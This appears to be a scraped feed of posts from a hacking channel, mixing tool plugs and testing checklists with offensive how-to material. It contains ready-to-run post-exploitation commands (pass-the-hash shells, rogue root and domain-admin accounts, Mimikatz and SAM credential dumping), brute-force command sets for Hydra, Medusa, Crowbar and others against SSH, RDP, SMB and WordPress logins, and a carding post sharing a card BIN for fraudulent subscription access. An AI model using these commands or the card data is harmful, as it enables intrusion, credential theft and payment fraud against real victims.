Support & Share us ❤️👍🏻


T.me/UndercodeSecurity

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑#RANSOMWARE AES Crypt. Simple cross-platform file encryption solution.

> AES Crypt differs from the previously described VeraCrypt and TrueCrypt by the lack of on-the-fly encryption; it cannot be used to mount encrypted containers. This program can encrypt the file and decrypt it, but often you don't need more.

> AES Crypt is freeware, except for the iOS version, which uses the AES algorithm (256 bit). Today this algorithm is considered exemplary reliable and well analyzed, it is accepted as a standard by the US government (I do not recommend blindly trusting their standards, even for the Dual EC_DRBG algorithm with a backdoor for the NSA). There is no choice of algorithms and the possibility of combined encryption.

▪️Download :
https://www.aescrypt.com/download/

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑for ROOTED ONEPLUS :
TWRP Alternative Lets Manage Magisk Modules on OnePlus Devices :

Sky Hawk Recovery Project (SHRP) is a new custom recovery for OnePlus devices with some interesting features. Sky Hawk is based on the latest version of TWRP 3.4.0-0, but it's hard to see from the looks. The developers have implemented many appearance changes and additional features, making an excellent alternative to TWRP.

🦑Requirements :

1) OnePlus 6, 6T, 7 Pro

Installed TWRP

2) OxygenOS 10.3 or newer

🦑Installing Sky Hawk Recovery on OnePlus
Before using Sky Hawk Recovery on OnePlus, you need to install TWRP. This process is described in separate articles.

After installing TWRP, you can download the Sky Hawk installation file from one of the links below. Place the file in a convenient location on your device, such as the Downloads folder.

> Download Sky Hawk Recovery (.zip): OnePlus 6 | OnePlus 6T | OnePlus 7 Pro
> https://sourceforge.net/projects/ab-temp/files/SHRP/enchilada/SHRP_v2.3_enchilada-190630062020.zip/download

3) You need to boot into TWRP, find the Sky Hawk installation file, click on it once and swipe the slider to install. Once complete, open Reboot and select Recovery. After a few seconds, the device will boot into the Sky Hawk custom recovery. Enter your pin or password and access the main menu. You can now explore all the available features.

4) Built-in Magisk manager for modules
Magisk Manager in Sky Hawk does not require any third party mods to function. You can disable, delete and view information about each module on the device. The Core Only Mode switch turns off all modules at once. The Unroot option removes Magisk entirely.

5) Built-in theme manager
Sky Hawk contains a graphic theme manager. This allows you to change the appearance of the custom recovery environment. You can change the color, status bar settings, bar icon, navigation bar styles.

6)Many additional tweaks
In the "Tweaks" section, you can select options for Substratum. This is useful if the installed theme has not been updated for a long time. You can also remove the fingerprint lock if something goes wrong or someone has added their own finger.

Removing forced encryption on a device may be required if custom firmware or kernel requires it for certain functions. You can enable or disable the Camera 2 API, which gives advanced camera functionality on some devices.

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Network Hacking Continued - Intermediate to Advanced
Udemy Link:
https://www.udemy.com/course/network-hacking-continued-intermediate-to-advanced/

OneDrive Link:
https://mygavilan-my.sharepoint.com/:f:/g/personal/kali_masi_my_gavilan_edu/ElE2KQoGdIJIg1UELOxAlGEBwZ0zQ5nHrxOQbXDT8ojNAw?e=lxobFz

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Kaspersky Report: Large hunting game organized by Lazarus APT
#News

> There is no doubt that 2020 will be an unpleasant year in history. In the field of network security, ransomware attacks against targets are increasing, and the collective damage is even more obvious. After investigating many such incidents and discussing with some trusted industry partners, we believe that we now have a good understanding of the structure of the ransomware ecosystem.

> Criminals use widespread botnet infections (for example, the notorious Emotet and Trickbot malware families) to spread to the network of victims and third-party developers’ ransomware “products”. When the attackers have a full understanding of the target's financial status and IT processes, they will deploy ransomware on all the company's assets and enter the negotiation phase.

> This ecosystem runs in independent, highly specialized clusters. In most cases, these clusters are not connected to each other except for business connections. This is why the concept of threat actors has become blurred: the organization responsible for the initial breach is unlikely to be the party that compromised the victim's Active Directory server, which was not the party that actually used the ransomware code in the incident. More importantly, in the two incidents, the same criminal may exchange business partners and may use different botnets or ransomware families.

#News
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Magento 2.3.1_ Unauthenticated Stored XSS to RCE
— Full Tutorial

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑How to install RouterSploit in BackBox-KALI :

RouterSploit is a platform for exploiting vulnerabilities in routers, allows you to scan a router for vulnerabilities, as well as exploit vulnerabilities found to obtain a login and password, or to access a router.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣sudo apt-get install python-dev python-pip libncurses5-dev git<font></font>

2️⃣git clone https://github.com/reverse-shell/routersploit<font></font>

3️⃣cd routersploit<font></font>

4️⃣sudo pip install -U setuptools<font></font>

5️⃣sudo pip install -r requirements.txt<font></font>

6️⃣./rsf.py

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

✅verified bin appleMusic 6 months

BIN: 5595581x20xx36x0
FECHA: 04/26

CVV: Generado
ZIP CODE: 110001
IP: INDIA 🇨🇮

>https://music.apple.com/in/for-you?ign-itscg=10000&ign-itsct=402x


(only verified by Us & Not created )
Use for learn

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑checkout the Authentication steps :

Test for user enumeration

Test for authentication bypass

Test for bruteforce protection

Test password quality rules

Test remember me functionality

Test for autocomplete on password forms/input

Test password reset and/or recovery

Test password change process

Test CAPTCHA

Test multi factor authentication

Test for logout functionality presence


Test for cache management on HTTP (eg Pragma, Expires, Max-age)

Test for default logins

Test for user-accessible authentication history

Test for out-of channel notification of account lockouts and
successful password changes

Test for consistent authentication across applications with
shared authentication schema / SSO



enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑All steps for Data Validation

Test for Reflected Cross Site Scripting

Test for Stored Cross Site Scripting

Test for DOM based Cross Site Scripting

Test for Cross Site Flashing

Test for HTML Injection

Test for SQL Injection

Test for LDAP Injection

Test for ORM Injection

Test for XML Injection

Test for XXE Injection

Test for SSI Injection

Test for XPath Injection

Test for XQuery Injection

Test for IMAP/SMTP Injection

Test for Code Injection

Test for Expression Language Injection

Test for Command Injection

Test for Overflow (Stack, Heap and Integer)

Test for Format String

Test for incubated vulnerabilities

Test for HTTP Splitting/Smuggling

Test for HTTP Verb Tampering

Test for Open Redirection

Test for Local File Inclusion

Test for Remote File Inclusion

Compare client-side and server-side validation rules

Test for NoSQL injection

Test for HTTP parameter pollution

Test for auto-binding

Test for Mass Assignment

Test for NULL/Invalid Session Cookie

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Risky Functionality - Card Payment
#FastTips

>Test for known vulnerabilities and configuration issues on Web Server and Web Application

Test for default or guessable password

Test for non-production data in live environment, and vice-versa

Test for Injection vulnerabilities

Test for Buffer Overflows

Test for Insecure Cryptographic Storage

Test for Insufficient Transport Layer Protection

Test for Improper Error Handling

Test for all vulnerabilities with a CVSS v2 score > 4.0

Test for Authentication and Authorization issues

Test for CSRF

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Remote Information Services

1️⃣DNS
Zone Transfer - host -l securitymuppets.com 192.168.100.2
Metasploit Auxiliarys:
auxiliary/gather/enumdns
use auxiliary/gather/dns...

2️⃣ Finger - Enumerate Users
finger @192.168.0.1
finger -l -p user@ip-address
auxiliary/scanner/finger/fingerusers

3️⃣ NTP
Metasploit Auxiliarys

4️⃣ SNMP
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt
Metasploit Module snmpenum
snmpcheck -t snmpservice

5️⃣ rservices
rwho 192.168.0.1
rlogin -l root 192.168.0.17

6️⃣ RPC Services
rpcinfo -p
Endpointmapper metasploit

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

CVE-2019-7315_ Genie Access WIP3BVAF IP Camera Directory Traversal
> full tutorial

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Random Helpul tips
> Post Exploitation

1️⃣ Command prompt access on Windows Host

pth-winexe -U Administrator%<hash> //<host ip> cmd.exe

2️⃣ Add Linux User
/usr/sbin/useradd –g 0 –u 0 –o user
echo user:password | /usr/sbin/chpasswd

3️⃣ Add Windows User
net user username password@1 /add
net localgroup administrators username /add

4️⃣ Solaris Commands
useradd -o user
passwd user
usermod -R root user

5️⃣ Dump remote SAM:
PwDump.exe -u localadmin 192.168.0.1

6️⃣ Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full

7️⃣ Meterpreter
meterpreter> run winenum
meterpreter> use post/windows/gather/smarthashdump

meterpreter > use incognito
meterpreter > listtokens -u
meterpreter > impersonatetoken TVM\domainadmin
meterpreter > adduser hacker password1 -h 192.168.0.10
meterpreter > addgroupuser "Domain Admins" hacker -h 192.168.0.10

meterpreter > load mimikatz
meterpreter > wdigest
meterpreter > getWdigestPasswords
Migrate if does not work!

8️⃣ Kitrap0d
Download vdmallowed.exe and vdmexploit.dll to victim
Run vdmallowed.exe to execute system shell

9️⃣ Windows Information
On Windows:
ipconfig /all
systeminfo
net localgroup administrators
net view
net view /domain

🔟 SSH Tunnelling
Remote forward port 222
ssh -R 127.0.0.1:4444:10.1.1.251:222 -p 443 root@192.168.10.118

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Password Attacks Tips :

1️⃣Convert multiple webpages into a word list:

for x in 'index' 'about' 'post' 'contact' ; do curl
http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >>
webapp.txt ; done

Or convert html to word list dict
html2dic index.html.out | sort -u > index-html.dict


2️⃣Bruteforcing http password prompts
medusa -h <ip/host> -u <user> -P <password list> -M http -n <port> -m DIR:/<directory> -T 30

3️⃣ Medusa
# To display all currently installed modules
medusa -d

# Display specific options for a module
medusa -M module_name -q

4️⃣ Test all passwords in password file against the admin user on the host
# 192.168.1.20 via the SMB | SSH | MySQL | HTTP service
medusa -h 192.168.1.20 -u admin -P passwords.txt -M smbnt | ssh | mssql | http

5️⃣ To brute force 10 hosts and 5 users concurrently (using Medusa's parallel features)
# Each of the 5 threads targeting a host will check a specific user
medusa -H hosts.txt -U users.txt -P passwords.txt -T 10 -t 5 -L -F -M smbnt


6️⃣ Medusa allows username, password, and host data to be placed within the same file (the "combo" file).
# Possible combinations in the combo file:

# host:username:password
# host:username:
# host::
# :username:password
# :username:
# ::password
# host::password
# :id:lm:ntlm::: (PwDump files)

# To test each username/password entry in the file combo.txt
medusa -M smbnt -C combo.txt

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Hydra bruteforcing tips

1️⃣hydra does not have a native default wordlist, using the Rockyou list is suggested
#example brute force crack on ftp server
hydra -t 1 -l admin -P path to password.lst -vV IPaddress ftp
--> -t # = preform # tasks
--> -l NAME = try to log in with NAME
--> -P filepath = Try password
--> -vV = verbose mode, showing the login+pass for each attempt

2️⃣check for joe accounts by adding modifier -e s

3️⃣Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp

4️⃣Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp

5️⃣Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

6️⃣Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

7️⃣Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

8️⃣Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

9️⃣Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

🔟Hydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

1️⃣1️⃣Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

1️⃣2️⃣Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑RANDOM CRACKING RECOMMENDED TIPS :

#Ophcrack is a free rainbow table-based password cracking tool for Windows 8 (both local and Microsoft accounts), Windows 7, Windows Vista, and Windows XP. 

#The Ophcrack LiveCD option allows for completely automatic password recovery.

#It cracks LM and NTLM (Windows) hashes.

2️⃣Pros
  Software is freely available for download online
  Passwords are recovered automatically using the LiveCD method
  No software installation is necessary to recover passwords
  No knowledge of any existing passwords is necessary
  
3️⃣Cons
  LiveCD ISO image must be burned to a disc or USB device before being used
  Passwords greater than 14 characters cannot be cracked
  Won't crack even the simplest Windows 10 password
  
4️⃣ RainbowCrack
#The RainbowCrack software cracks hashes by rainbow table lookup.

#To crack single hash
rcrack [rainbow_table_path] -h hash_to_be_cracked
Path - Location of rainbow tables
Example: rcrack c:\rt -h fcea920f7412b5da7be0cf42b8c93759

#To crack multiple hashes in a file
rcrack [rainbow_table_path] -l hash_file
Example: rcrack c:\rt -l hash_list_file

#To lookup rainbow tables in multiple directories
rcrack [rainbow_table_path] [rainbow_table_path2] -l hash_file
Example: rcrack c:\rt1 c:\rt2 -l hash_list_file

#To load and crack LM hashes from pwdump file
rcrack [rainbow_table_path] -lm pwdump_file

#To load and crack NTLM hashes from pwdump file
rcrack [rainbow_table_path] -ntlm pwdump_file

5️⃣ acccheck
#Windows Password dictionary attack tool for SMB

#Usage: acccheck [options]
   options -t [single host IP address]
           -T [file containing target ip address(es)]
           -p [single password]
           -P [file containing passwords]
           -u [single user]
           -U [file containing usernames]
           
#Examples
Attempt the 'Administrator' account with a [BLANK] password.
acccheck -t 10.10.10.1
Attempt all passwords in 'password.txt' against the 'Administrator' account.
acccheck -t 10.10.10.1 -P password.txt
Attempt all password in 'password.txt' against all users in 'users.txt'.
acccehck -t 10.10.10.1 -U users.txt -P password.txt
Attempt a single password against a single user.
acccheck -t 10.10.10.1 -u administrator -p password


6️⃣Brutespray
#BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services with default credentials using Medusa.

#usage: brutespray [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS]
                  [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME]
                  [-p PASSWORD] [-c] [-i]

#Example
brutespray --file nas.gnmap -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/password.lst --threads 3 --hosts 1
Attack all services in nas.gnmap with a specific user list (unix_users.txt) and password list (password.lst).

7️⃣Crowbar
#Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys.

#usage: crowbar -b [openvpn | rdp | sshkey | vnckey] [arguments]
Example:crowbar -b rdp -s 192.168.86.61/32 -u victim -C /root/words.txt -n 1
Brute force the RDP service on a single host with a specified username and wordlist, using 1 thread.

8️⃣Aircrack-ng
#Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. 

#usage 
aircrack-ng [options] <.cap / .ivs file(s)>
To have aircrack-ng conduct a WEP key attack on a capture file, pass it the filename, either in .ivs or .cap/.pcap format.

enjoy❤️👍🏻
✅git 2020
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁